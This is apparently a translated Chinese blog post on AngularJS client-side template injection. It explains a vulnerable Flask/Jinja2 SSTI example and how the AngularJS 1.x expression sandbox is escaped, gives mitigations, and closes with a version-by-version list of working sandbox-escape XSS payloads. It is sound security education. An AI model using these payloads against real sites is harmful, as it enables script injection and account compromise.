測試連接:javascript
https://liveoverflow.com/php/angularjs/angular1.5.8.php?q=%7B%7B1%2B2%7D%7Dphp
看了 XSS without HTML: Client-Side Template Injection with AngularJS 一文感受不錯,因而翻譯了下,加了點東西,有時間的話把另一篇 SSTI 的也翻譯了。html
提及模版注入(Template Injection ),你們都會想起去年很火的 SSTI(Server-Side Template Injection),以 Python 中經常使用的模板引擎 Jinja2 爲例,假若有個這樣的 Flask 代碼:前端
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
開發者想要回顯出用戶輸入的錯誤 URL,但他選擇使用字符串格式化,來將 URL 動態地加入到模板字符串中,而不是經過 render_template_string
函數將 URL 傳遞進入模板內容當中。這會形成什麼後果?咱們在 URL 末尾加上 {{ 7+7 }}
試試:java
能夠看到模板引擎計算了數學表達式,應用程序在響應的時候將其解析成 14
。若是咱們把 {{ 7+7 }}
換成 {{ config.items() }}
呢?感興趣的小夥伴能夠試試。(詳細內容可參考 Exploring SSTI in Flask/Jinja2)python
經過前面的例子,你們應該已經知道不能將用戶輸入直接做爲模版內容的一部分。那麼在現代的前端框架中也有相似的模板或表達式,會不會也有這樣的問題?git
一樣以 AngularJS 爲例:angularjs
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>{{ 7+7 }}</div>
</body>
</html>
果真也出現了 14
,若是改爲 {{ alert(1) }}
試試呢?github
惋惜什麼也沒發生,連源碼裏也沒有。ajax
原來 AngularJS 1.6 如下版本都有一個安全沙箱,會對錶達式進行檢查、過濾、解析、重寫。
在第 13275 行下斷點,跟蹤 fnString
,發現以前的 {{ 7+7 }}
被變換成了
"use strict";
var fn = function(s, l, a, i) {
return plus(7, 7);
};
return fn;
再把 {{ 7+7 }}
換成 {{constructor.constructor('alert(1)')()}}
,發現一些有趣的輸出:
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ('constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'alert\u00281\u0029';
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;
能夠看出 AngularJS 遍歷了表達式的每一個對象並用 ensureSafeObject
函數檢查它。ensureSafeObject 函數檢查對象是不是函數/對象引用、窗口對象、 DOM 元素,若是任何檢查爲真,它就會拋出異常並中止執行表達式。同時它還阻止了對全局變量的訪問。
AngularJS 還有一些安全檢查函數好比 ensureSafeMemberName
和 ensureSafeFunction
,ensureSafeMemberName 檢查了屬性名稱確保沒有 __proto__
等,而 ensureSafeFunction 檢查了是否是函數構造器或函數綁定等。
由於 AngularJS 表達式不支持函數語句,因此沒法直接覆蓋原生的 JavaScript。不過有一個函數可能有用 —— String.fromCharCode
,由於這個函數是從字符串構造函數(String constructor)而不是字符串調用的,即 this
的值是 String constructor。
那咱們怎麼在不建立新函數的狀況下利用 fromCharCode 呢?重用現有的函數就好了~ 如今的問題是怎麼控制 fromCharCode 被調用時的值。
若是咱們使用數組鏈接函數,可讓字符串構造函數爲僞數組,這樣咱們能夠得到 length 屬性和一個屬性爲 0 的僞數組索引。
這樣 String.fromCharCode 被調用時咱們就能獲得想要的 <iframe onload=alert(/Backdoored/)>
字符串了,讓咱們試試看效果:
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>
{{
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
}}
</div>
<script>
onload=function(){
document.write(String.fromCharCode(97));
}
</script>
</body>
</html>
但惋惜在 AngularJS 的代碼裏並無找到可直接用於沙箱逃逸的 String.fromCharcode,因此須要尋找一個新的函數。
隨後發現了 charCodeAt
,若是能夠覆蓋這個值,它就會被注入到字符串屬性中,不會有任何過濾。然而有個問題:此次 this
的值是不可寫(沒法操做索引或長度)的字符串而不是字符串構造函數,因此不能用相同的方法來覆蓋函數。
後來想到用 [].concat
,這個函數會把字符串和參數鏈接在一塊兒返回。
好比 'abc'.charCodeAt(0)
你也許會以爲是 97
(ASCII a),但覆蓋掉 charCodeAt 後返回的倒是 abc,0
。
這有什麼用呢?利用它就能夠注入惡意的屬性,繞過安全檢查。
安全檢查的僞代碼像這樣:
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
Out
是過濾後的輸出,key
是屬性名稱,而 value
是屬性的值。encodeEntities
函數是這樣的:
function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '&#' + value.charCodeAt(0) + ';';
}).
replace(/</g, '<').
replace(/>/g, '>');
}
return '&#' + value.charCodeAt(0) + ';'
是關鍵,很明顯開發者認爲 charCodeAt 函數返回的就是整數,但若是攻擊者控制了它,沙箱就「千里之堤,毀於蟻穴」了。
經過類似的原理,咱們就能夠逃逸沙箱。
讓咱們試一下其餘的自帶函數,CharAt 感受頗有但願。
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=""')+''
}}
出現瞭解析錯誤,看看到底發生了什麼:
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003d\u0022\u0022' in l);
if (!(v6)) {
if (s) {
v5 = s.x = "";
}
} else {
v5 = l.x = "";
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "";
}
} else {
v2 = l.x = "";
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "", text);
v0 = v3.x = "" = v1;
}
return v0;
};
return fn;
注意 v0 = v3.x = "" = v1
,看起來有戲,若是咱們把 Payload 換一下:
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)')+''
}}
Bingo,可愛的 alert 終於出現了。
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
能夠看到 x=alert(1)
成功繞過了安全檢查注入進了代碼,咱們成功逃逸了沙箱!
爲了更深刻地觀察 AngularJS 是如何解析代碼的,咱們能夠在 14079 行處下斷點,點擊 Resume
跳過解析器初始化,而後一直 Step into
,能夠看到在 12699 行它會認爲 x=alert(1) 是一個 identifier
。
在這個過程當中有 isIdent
和 isNumber
函數在檢查:
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (!(this.isIdent(ch) || this.isNumber(ch))) {
break;
}
this.index++;
}
isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
不過由於咱們重寫了 charAt,'x=alert(1)'.charAt(9)
其實是 x9=9a9l9e9r9t9(919)
,而長字符串確定大於任意一個單字符,因此每次均可以繞過判斷:
最後在第 13247 行建立複製函數時,identifier 被屢次注入到函數字符串中,當這個構造函數被調用時,頁面上就會被注入咱們的 alert(1)。
AngularJS 在 1.6 版本之後就移除了安全沙箱,由於它並不能根本上解決 XSS 問題。
若是攻擊者能夠訪問控制 AngularJS 模板或表達式,他們能夠經過 XSS 攻擊利用任意版本 AngularJS。
有多種方法能夠控制模板和表達式:
表達式時在調用下面的方法時包含用戶提供的內容:
$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
表達式在解析時包含用戶提供的內容:
$compile(userContent)
$parse(userContent)
$interpolate(userContent)
{{ value | orderBy : userContent }}
因此設計應用程序時,用戶不能更改客戶端模板。
CSP
可使用服務器端模板來動態生成 CSS,URL 等,但不能用於生成由 AngularJS 引導/編譯的模板。
若是必須在 AngularJS 模板中使用用戶提供的內容,須要確保它在經過 ngNonBindable
指令明確指定了不編譯的模板部分中。
下面是一些 AngularJS 繞過的 Payload:
1.0.1 - 1.1.5
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
1.3.1 - 1.3.2
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}
1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} ---->沒有測試成功
1.5.9 - 1.5.11
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}